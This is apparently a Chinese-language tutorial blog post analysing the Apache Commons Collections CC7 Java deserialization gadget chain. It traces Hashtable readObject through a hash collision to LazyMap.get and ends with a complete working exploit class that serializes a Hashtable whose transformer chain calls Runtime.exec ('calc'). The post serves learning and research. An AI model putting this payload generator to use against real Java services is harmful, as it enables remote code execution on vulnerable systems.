CC7链
前言
最后一条CC链,冲就完事了!
CC7链依旧是LazyMap版的CC1的变种,后半条链子就是 LazyMap.get() 的这条链子。这里从逆向分析依旧不好分析,我们尝试根据ysoserial中给出的链子来自己复现出来。

可以发现CC7使用的是Hashtable,而它与我们熟知的HashMap之间有什么联系呢?
Hashtable 的底层存储和 HashMap 本质上是一样的(数组 + 链表),只是 Hashtable 没有红黑树优化、计算 hash 的方式更简单、线程安全实现粗暴(方法级同步)、不允许 null key/value。
攻击链分析
- 我们从
Hashtable#readObject开始正向分析

发现在它直接调用了reconstitutionPut方法。
- 继续跟进

发现调用了equals方法。
如果我们传入key为LazyMap的话,最终会执行AbstractMap下的equals方法。
- 跟进到
AbstractMap#equals

发现其调用了get方法,后续便是CC1的链子了。
所以我们完整的攻击链如下:
Hashtable#readObject --> Hashtable#reconstitutionPut --> AbstractMap#equals --> LazyMap#get
--> ......
分析EXP的编写
这条链子的利用过程其实是有点绕的,我们看看调用的每个方法都干了什么,有什么需要注意的
- 首先是readObject方法
/**
* 自定义的反序列化方法,用来恢复 Hashtable 的内部状态。
* 在 ObjectInputStream.readObject() 过程中会自动调用。
*/
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
s.defaultReadObject();
// 2. 读取原始 table 的数组长度和存储的元素数量。
int origlength = s.readInt(); // 当初序列化时的 table.length
int elements = s.readInt(); // 存储的 key/value 对数量
// 3. 计算新表的大小,稍微比元素多一些,避免马上扩容。
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
// 如果 length 大于元素数并且是偶数,就减 1 变成奇数
// 传统上用奇数大小能减少某些 hash 碰撞。
if (length > elements && (length & 1) == 0) {
length--;
}
// 如果有记录的原始长度,并且比计算值更小,就使用原始长度
// 这样避免反序列化后容量比原来还大。
if (origlength > 0 && length > origlength) {
length = origlength;
}
// 4. 用新计算得到的长度初始化新table,此时table里是没有内容的
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
// 6. 元素计数先清零,后面 reconstitutionPut 时再逐个加。
count = 0;
// 7. 逐个从输入流读取 key 和 value,并重新插入到 table 中。
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject(); // 读取 key
@SuppressWarnings("unchecked")
V value = (V) s.readObject(); // 读取 value
// 插入到哈希表中(检查重复、计算 hash、建立 Entry)
reconstitutionPut(table, key, value);
}
}
概括说就是重构table,然后通过reconstitutionPut重新插入到table里。
- 下面我们看看
reconstitutionPut方法
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
// Hashtable 不允许 value 为 null,如果遇到就抛异常。
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// 计算 key 的 hash 值
int hash = key.hashCode();
// 计算该 key 在数组中的索引位置
int index = (hash & 0x7FFFFFFF) % tab.length;
// 遍历该索引已有的键值对,检查是否存在重复 key。
for (Entry<?,?> e = tab[index]; e != null; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
// 如果 key 已经存在,则序列化数据非法,抛异常。
throw new java.io.StreamCorruptedException();
}
}
// 没有重复时,插入新的 Entry 节点到链表头。
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>) tab[index];
tab[index] = new Entry<>(hash, key, value, e);
// 更新元素计数
count++;
}
这里就很好玩了,根据我们的利用链我们需要执行equals才会继续后面的利用链。
但是我们需要先满足条件e.hash == hash才会执行后面的语句,不然直接返回false了。
也就是说我们需要让table表里有至少两个的hash值相等才行。
需要注意的是,在添加第一个元素时并不会进入if语句调用equals方法进行判断,因此Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法,否则不会触发漏洞。
- 所以我们这里至少需要两个map且它们的hash值要一样
这里就涉及hash碰撞的问题了,分析到这光靠自己很难进行下去了,我们去ysoserial官方看看EXP:

可以发现官方使用了"yy"与"zZ"来hash碰撞,我们可以计算测试一下


发现两者的hash值竟然真的相等,利用这两者我们才能进入到equals语句中。
- 为什么我们需要对lazyMap2删除一个"yy"。
其实我们将这段代码去掉,在序列化的地方设置一个断点调试一下就知道了。

你会发现,decorateMap2的size怎么变成了2并且还弹出了计算器,这你扯不扯?
我们将断点设置到put那一行调试看看发生了什么:
- 首先我们发现直接调用了LazyMap的equals方法
- 接着便会跟进到AbstractMap的equals方法
- 接着便跟进到get方法

在这里找到了decorateMap2里多出来一个"yy"的原因,因为在get方法里判断到lazyMap2里没有"yy"就给他加进去了。
它的size为2会造成什么影响呢?
当在反序列化时,reconstitutionPut方法在还原table数组时会调用equals方法判断重复元素,由于AbstractMap抽象类的equals方法校验的时候更为严格,会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞。

因此在构造CC7利用链的payload代码时,Hashtable在添加第二个元素后,lazyMap2需要调用remove方法删除元素yy才能触发漏洞。
lazyMap2.remove("yy");
同时我前面也提到调用put方法也会调用equals方法,然后走到get方法并将链子走完,这就是我们为什么当时调试的时候就弹出计算器的原因。
这里便和以前的解决方案一样,我们给ChainedTransformer初始化的时候先随便设置一个值,在put之后再修改回来即可。
最终EXP
所以最终的EXP如下:
package com.test.cc7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
decorateMap2.remove("yy");
Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);
serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
运行效果如下:

成功弹出计算器!
小结
学完CC7是不是发现链子其实也很简单,就是要满足利用条件有点绕,有个hash碰撞在里面还是很有意思的。
依旧画图总结一下:

至此CC的七条链子就全都学完了,完结撒花❀